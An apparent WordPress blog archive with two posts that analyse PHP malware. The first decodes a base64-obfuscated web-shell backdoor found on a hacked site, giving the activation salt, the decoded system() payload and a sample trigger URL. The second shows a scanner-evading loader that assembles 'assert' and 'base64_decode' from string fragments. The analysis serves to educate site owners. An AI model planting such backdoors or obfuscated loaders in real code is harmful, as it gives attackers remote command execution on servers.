Posts tagged ‘eval’

I was alerted to this tweet by @andrea_r this morning:

Here’s the code in question:

<?php
@$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING['KOI8-R'];
@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3));
?>

Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:

>php test.php
string(19) "0cmVhbT1AJF9HRVRbJz"
string(19) "B4RkYnXTtAc3lzdGVtK"
string(19) "CRuZXdzdHJlYW0pOw=="

Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It’s there to make it look more legit, sort of thing.

So now we have this string: “0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”. Unfortunately, it is incomplete. Note the “salt” parameter being used in the eval(base 64_decode()) line.

Well, a bit of searching turned up the fact that the salt is supposed to be “JG5ld3N”. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: “JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”.

So we run that through a base64 decoder and get this:

$newstream=@$_GET['0xFF'];@system($newstream);

So it’s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It’s a shell backdoor. I can make a hit to example.com?salt=JG5ld3N&0xFF=**any-command-I-want** and have it execute it in the shell.

Fortunately, this is not a particularly well hidden example. The use of “eval” and “base 64_decode” is a dead giveaway, as is the use of unchecked $GET parameters.

Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It’s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea.

As always, the Codex has some good suggestions.

Shortlink:

In the WordPress world, security is always a prime concern, and for obvious reasons. It’s a major target for spammers, what with 30 million sites and what have you. So there’s a lot of security plugins to do scanning on your files, there’s file monitor plugins which work by simply noticing changes to the files of any sort, we do scans in the theme check process, etc.

I’ve gotten a few responses back to some of my malware related posts asking why WordPress doesn’t check for this sort of thing in the core code. Why can’t WordPress check for the existence of “eval” and such in a plugin before it runs it? Well, I’ll show you.

Securi covered the “Pharma” attack several months ago, but nobody seemed to notice the important bit of code that shows why WordPress can’t do scanning in core. Fact of the matter is that the hacks have already gone well beyond scanning for strings and such.

Take this code for example:

<?php $XZKsyG='as';$RqoaUO='e';$ygDOEJ=$XZKsyG.'s'.$RqoaUO.'r'.'t';$joEDdb='b'.$XZKsyG.$RqoaUO.(64).'_'.'d'.$RqoaUO.'c'.'o'.'d'.$RqoaUO;@$ygDOEJ(@$joEDdb(long long string here)..

What does that do? Well, in short, that’s an eval(base64_decode()); Here it is again, broken down with newlines and such:

$XZKsyG='as';
$RqoaUO='e';
$ygDOEJ=$XZKsyG.'s'.$RqoaUO.'r'.'t';
$joEDdb='b'.$XZKsyG.$RqoaUO.(64).'_'.'d'.$RqoaUO.'c'.'o'.'d'.$RqoaUO;
@$ygDOEJ(@$joEDdb(long long string here)..

Those third and fourth lines are important, so lets fill in the two variables there with the ‘as’ and ‘e’ from above it:

$ygDOEJ='as'.'s'.'e'.'r'.'t';
$joEDdb='b'.'as'.'e'.(64).'_'.'d'.'e'.'c'.'o'.'d'.'e';

And we have “assert” and “base64_decode” once again. The assert function will also evaluate strings as PHP code, BTW. It’s really just an eval in another form.

The final line uses something about PHP that some people may not know. If I have a variable with a string in it, then I can call a function with that strings name by using the variable instead of the function name. In other words, this works:

function do_something() { }
$var = 'do_something';
$var();

Now tell me, how you gonna scan for something like that?

Determining whether a piece of code is malicious or not is basically equivalent to the halting problem. You can’t do it programmatically. Not really. If WP added code to the core to try to detect and stop this sort of thing, the spammers would simply modify their code so that the core couldn’t detect it anymore.

Why get into an arms race? It’s better to concentrate on making WordPress itself secure and to try to educate both users and hosts about good security practices. Most hacked sites get hacked via insecure server configurations, not through WordPress itself.

So scanning is pointless. So why do we still do it for theme check and such? Because not all malicious code is as cleverly written, and so some basic scanning is indeed somewhat effective. And the goal there is simply to weed out the problems. All of the WordPress.org theme checking is done by human eyeballs, the scanning tools just ensure a minimal level of theme capabilities and make pruning that much quicker.

Shortlink: